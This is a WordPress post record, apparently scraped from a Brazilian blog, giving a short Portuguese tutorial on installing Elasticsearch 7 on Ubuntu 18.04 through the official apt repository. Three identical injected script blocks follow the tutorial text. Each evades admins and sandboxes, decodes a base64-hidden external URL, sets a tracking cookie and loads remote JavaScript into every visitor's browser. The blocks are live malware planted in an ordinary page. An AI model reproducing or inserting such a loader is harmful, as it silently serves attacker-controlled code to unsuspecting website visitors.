{"id":4424,"date":"2020-03-09T18:53:02","date_gmt":"2020-03-09T21:53:02","guid":{"rendered":"http:\/\/thiagovespa.com.br\/blog\/?p=4424"},"modified":"2025-10-26T22:30:57","modified_gmt":"2025-10-27T01:30:57","slug":"instalacao-do-elasticsearch-no-ubuntu-18-04","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2020\/03\/09\/instalacao-do-elasticsearch-no-ubuntu-18-04\/","title":{"rendered":"Instala\u00e7\u00e3o do Elasticsearch no Ubuntu 18.04"},"content":{"rendered":"\n<p>O Elasticsearch \u00e9 um motor de busca distribu\u00eddo feito em Java e de c\u00f3digo aberto. Ele \u00e9 baseado no <a rel=\"noreferrer noopener\" aria-label=\"Apache Lucene (abre numa nova aba)\" href=\"http:\/\/lucene.apache.org\/\" target=\"_blank\">Apache Lucene<\/a>, que \u00e9 uma excelente API para indexa\u00e7\u00e3o e busca.<\/p>\n\n\n\n<p>Para instalar o Elasticsearch no Ubuntu, a melhor forma \u00e9 utilizando o reposit\u00f3rio oficial. Como pr\u00e9-requisito, \u00e9 necess\u00e1rio instalar o Java 8 ou superior (instale o de sua prefer\u00eancia) e o reposit\u00f3rio apt via https:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt install apt-transport-https openjdk-8-jdk<\/code><\/pre>\n\n\n\n<p>Importe a chave do repositorio:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wget -qO - https:\/\/artifacts.elastic.co\/GPG-KEY-elasticsearch | sudo apt-key add -<\/code><\/pre>\n\n\n\n<p>O resultado dever\u00e1 ser OK. Adicione o reposit\u00f3rio do Elasticsearch da vers\u00e3o 7. Se quiser voc\u00ea pode alterar para uma vers\u00e3o anterior:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo sh -c 'echo \"deb https:\/\/artifacts.elastic.co\/packages\/7.x\/apt stable main\" > \/etc\/apt\/sources.list.d\/elastic-7.x.list'<\/code><\/pre>\n\n\n\n<p>Atualize o apt e instale normalmente o pacote elasticsearch:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo apt update &amp;&amp; apt install elasticsearch<\/code><\/pre>\n\n\n\n<p>Voc\u00ea pode habilitar como servi\u00e7o:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl enable elasticsearch.service<\/code><\/pre>\n\n\n\n<p>Ou iniciar de acordo com a demanda:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl start elasticsearch.service<\/code><\/pre>\n\n\n\n<p>Veja se est\u00e1 funcionando:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl localhost:9200<\/code><\/pre>\n\n\n\n<p>Pronto!<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>O Elasticsearch \u00e9 um motor de busca distribu\u00eddo feito em Java e de c\u00f3digo aberto. Ele \u00e9 baseado no Apache Lucene, que \u00e9 uma excelente API para indexa\u00e7\u00e3o e busca. Para instalar o Elasticsearch no Ubuntu, a melhor forma \u00e9 <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2020\/03\/09\/instalacao-do-elasticsearch-no-ubuntu-18-04\/\">Continue lendo  <span class=\"screen-reader-text\">  Instala\u00e7\u00e3o do Elasticsearch no Ubuntu 18.04<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,64],"tags":[],"class_list":["post-4424","post","type-post","status-publish","format-standard","hentry","category-java","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4424","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4424"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4424\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4424"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4424"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}